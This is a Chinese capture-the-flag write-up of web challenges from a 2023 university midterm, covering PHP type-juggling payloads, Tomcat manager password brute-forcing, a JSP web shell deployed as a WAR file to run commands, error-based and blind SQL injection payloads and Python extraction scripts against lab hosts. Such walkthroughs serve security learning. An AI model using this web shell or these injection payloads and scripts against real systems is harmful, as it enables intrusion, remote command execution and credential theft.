2023云曦秋季期中考

web

1z_php

看到有点晕,根本分不清0和o

payload:

/?OoO[0]=2023&0o0[1]=2023
/?0o0[]=2023A&OoO[]=2023a

签到O.o? 

一开始打开这个tomcat,没想着直接去搜,就在自己点点,然后毫无收获

2023云曦秋季期中考_第1张图片

死活不肯花分买提示,后来看到头这里有manager

2023云曦秋季期中考_第2张图片

打开后跳登陆界面,有点像了

2023云曦秋季期中考_第3张图片

 笑死了拿弱口令爆破了半天

把tomcat admin都试烂了,也没成功,只能去爆破,然后爆破真的很大

主要要爆破这串base642023云曦秋季期中考_第4张图片

爆破的Payloads设定为选择:Custom iterator 还要进行base64编码

2023云曦秋季期中考_第5张图片

笑死了,要爆破个八位数,然后没打,后来师兄给提示了2023云曦秋季期中考_第6张图片

账号:manager

密码:1q2w3e4r

好的进去了,很不容易2023云曦秋季期中考_第7张图片

发现上传点

 2023云曦秋季期中考_第8张图片

 随便上传了个txt文件,发现一定要上传war文件2023云曦秋季期中考_第9张图片

这里参考Tomcat/8.0.43漏洞复现-CSDN博客

2023云曦秋季期中考_第10张图片

# cmd2.jsp
<%
 if("023".equals(request.getParameter("pwd")))//检查名为 "pwd" 的请求参数是否等于字符串 "023"。这是一个密码验证,只有在密码正确时才会执行后续的命令执行和输出操作。
{
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();   //如果密码验证成功,将执行用户传入的命令。通过 Runtime.getRuntime().exec() 方法执行系统命令,并获取命令的输入流。
    int a = -1;   //定义变量 a,用于存储读取输入流的字节数。
    byte[]b = new byte[2048];  //定义字节数组 b,用于存储从输入流读取的数据。
    out.print("
"); //在页面上打印 
 标签,表示后续输出的内容应该被格式化为预格式化文本。
    while((a=in.read(b))!=-1){  //循环读取输入流中的数据,直到读取完毕。read() 方法返回每次读取的字节数,当返回值为 -1 时表示已经读取到流的末尾。
      out.println(new String(b));   //将读取到的字节数组转换为字符串并输出到页面上。
    }
    out.print("
"); //在页面上打印
标签,表示输出的预格式化文本结束。 } %>

然后因为要求上传war文件

我一开始是把asp文件压缩为zip文件,再转换为war,但是这样文件被破坏了

可以使用这串命令把asp文件压缩为war文件

jar -cvf a.war a.jsp

上传成功

2023云曦秋季期中考_第11张图片

访问确定一下

2023云曦秋季期中考_第12张图片

跟上pwd就可以命令执行了,ls看到flag

2023云曦秋季期中考_第13张图片

/a/a.jsp?pwd=023&i=cat /flag

2023云曦秋季期中考_第14张图片

1z_sql

2023云曦秋季期中考_第15张图片

源码也给了

connect_error) {
    die("连接失败: " . $conn->connect_error);
}
//echo "连接成功";
function waf($str){

	$str=trim($str);
	$str=addslashes($str);
	$str=preg_replace("/\+|\*|\`|\/|\-|\$|\#|\^|\!|\@|\%|\&|\~|\^|\[|\]|\'|\)|\(|\"/", "", $str);//去除特殊符号+*`/-$#^~!@#$%&[]'"
	$str=preg_replace("/\s/", "", $str);//去除空格、换行符、制表符

	return $str;

}

function waf2($str){
	$black_list = "/=|and|union|if|sleep|length|substr|floor|updatexml/i";
	if(preg_match($black_list,$str))
	{
		echo "
"; echo "你注你呢"; echo "
"; } else{ return $str; } } $uagent = $_SERVER['HTTP_USER_AGENT']; //在agent处进行注入 $IP = $_SERVER['REMOTE_ADDR']; if(isset($_POST['username']) && isset($_POST['password'])) { $username = waf($_POST['username']); $password = waf($_POST['password']); $uagent = waf2($uagent); $sql="SELECT username,password FROM sheet1 WHERE username='$username' and password='$password'"; $result1 = mysqli_query($conn,$sql); $row1 = mysqli_fetch_array($result1); if($row1) { //echo '< font size = 3 >'; $insert="INSERT INTO `uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent','$IP','$username')";//定义一个新表来写入内容,新表名称叫做uagents // echo $insert; // echo "
"; mysqli_query($conn,$insert); //echo 'Your IP ADDRESS is: ' .$IP; echo ""; //echo "
"; //echo ''; echo 'Your User Agent is: ' .$uagent; echo ""; echo "
"; print_r(mysqli_error($conn)); echo "

"; echo "
"; //echo 'your uname is: '.$username; echo "不错嘛能登上,加油!看看回显信息有思路了没有?"; } else { //echo ''; //echo "Try again looser"; //print_r(mysqli_error($conn)); echo "
"; echo "
"; echo "
"; echo "这都不行?还不好好学?"; } } ?> 真的很简单

登录

Here is a poor page!

"> username:
password:

 其实看到这串我知道肯定是ua注入了,去看了sqllilab的18关,但是还是没做出来。。

$uagent = $_SERVER['HTTP_USER_AGENT']; //在agent处进行注入
$IP = $_SERVER['REMOTE_ADDR'];

这里的账号密码是admin/8888888

登一下,又提示是ua注入

2023云曦秋季期中考_第16张图片

爆数据库:

使用报错注入 updatexml被过滤了,使用extractvalue

1',2,(extractvalue(1,concat(0x5c,database(),0x5c))))#

2023云曦秋季期中考_第17张图片

kind

爆表

2023云曦秋季期中考_第18张图片

 sheet1,uagents

爆字段

1',2,(extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema like "kind" && table_name like "sheet1"),0x5c))))# 

2023云曦秋季期中考_第19张图片

查看字段

1',2,(extractvalue(1,concat(0x5c,(select group_concat(username,password) from kind.sheet1),0x5c))))# 

2023云曦秋季期中考_第20张图片

admin8888888,fllllaaagYunxi

爆flag,报错语句一次只能看32位

1',2,(extractvalue(1,concat(0x5c,left((select right(group_concat(username,password),33) from kind.sheet1),0x5c),10))))#

2023云曦秋季期中考_第21张图片

1',2,(extractvalue(1,concat(0x5c,left((select right(group_concat(username,password),10) from kind.sheet1),0x5c),10))))#

2023云曦秋季期中考_第22张图片

拼接一下

Yunxi{cb0fb8571956248eb37e8b0007572519}

1z_sql2.0

先用弱口令试一下,admin' 报错2023云曦秋季期中考_第23张图片

用万能密码试一下,发现会回显非法字符2023云曦秋季期中考_第24张图片

因为没有回显信息,我们可以判断他是布尔注入

fuzz字典跑一下

发现等号被过滤了,长度为2766的就会返回非法字符2023云曦秋季期中考_第25张图片

所以这里不能用等于,需要用不等号<>来绕过2023云曦秋季期中考_第26张图片

现在我们要爆数据库

可以先用bp试一下,爆破数据库名称的第一个字符的ascii码

username=ad' or ascii(substr(database(),1,1))>1202023云曦秋季期中考_第27张图片

发现长度在121开始不同 ,所以可以得到第一个字符是y

2023云曦秋季期中考_第28张图片写个脚本,第一次写脚本,很艰难,主要还是得理解

import requests

url="http://192.168.31.60:8083/"
payload="ad' or ascii(substr((database()),{0},1))>{1}#"


flag=''
for i in range(1,50):
    for k in range(48,127):
        pay1 = payload.format(i,k)
        data = {
            'username':pay1,
            'password':1
        }
        response=requests.post(url=url,data=data)
        if "NoNoNo!" in response.text:
            flag += chr(k)
            print(flag)
            break

运行

爆得数据库名称为yunxi_exam

后面的0只是填充满50个字符,因为我们设置的i长度即数据库长度名为50位

2023云曦秋季期中考_第29张图片

爆完数据库名称就要报表名和字段名

这里生成一个字典,包含所有典型的表名和字段名

import requests
base_url = "http://192.168.31.60:8083/"
payload = "ad' or (length((select group_concat({0}) from yunxi_exam.{1}))>1)#"
zid = []

file_path = r"E:\top100 数据库表名字典.txt"
with open(file_path, "r", encoding="utf-8") as file:
    lines = file.readlines()
    for line in lines:
        line = line.strip()  # 去除行尾的换行符和空白字符
        zid.append(line)  # 将每一行的字符添加到 zid 列表中

for i in zid:
    for k in zid:
        pay1=payload.format(i,k)
        data={
            'username':pay1,'password':1
        }
        response=requests.post(url=base_url,data=data)
        a=response.text
        if "You are so smart! Let me give you a hint" in a:
            print(pay1)

得到表名为users,字段名称为username和password

2023云曦秋季期中考_第30张图片

下面要得到password字段名的内容

这里的payload = "ad' or ascii(substr(select password from {0}))-{1}#"

假设password的字段名为admin,则就是取第一个字母的ascii码即97

然后减掉他的ascii就是0,就会返回nonono,这个利用确实蛮巧妙的

import requests
base_url = "http://172.16.17.60:8083/"
payload = "ad' or ascii(substr((select (password)) from {0}))-{1}#"


b=''
for i in range(0,100,1):
    for k in range(30,150,1):
        pay1=payload.format(i,k)
        data={
            'username':pay1,'password':1
        }
        response=requests.post(url=base_url,data=data)
        a=response.text

        if "NoNoNo!" in a:
            b+=chr(k)
            print(b)

2023云曦秋季期中考_第31张图片

说明表名是bighacker2,列名是hack123

import requests
base_url = "http://192.168.31.60:8083/"
payload = "ad' or ascii(substr((select hack123 from bighacker2)from {0}))-{1}#"


b=''
for i in range(0,100,1):
    for k in range(30,150,1):
        pay1=payload.format(i,k)
        data={
            'username':pay1,'password':1
        }
        response=requests.post(url=base_url,data=data)
        a=response.text

        if "NoNoNo!" in a:
            b+=chr(k)
            print(b)

2023云曦秋季期中考_第32张图片

解码一下咯

2023云曦秋季期中考_第33张图片

1z_upload

登录

admin/admin12345

2023云曦秋季期中考_第34张图片

GIF89a


//在 HTML 页面中嵌入 PHP 代码
request请求可以用 GET 或 POST 请求发送。

                    
                    

你可能感兴趣的:(android,android,studio,ide,1024程序员节)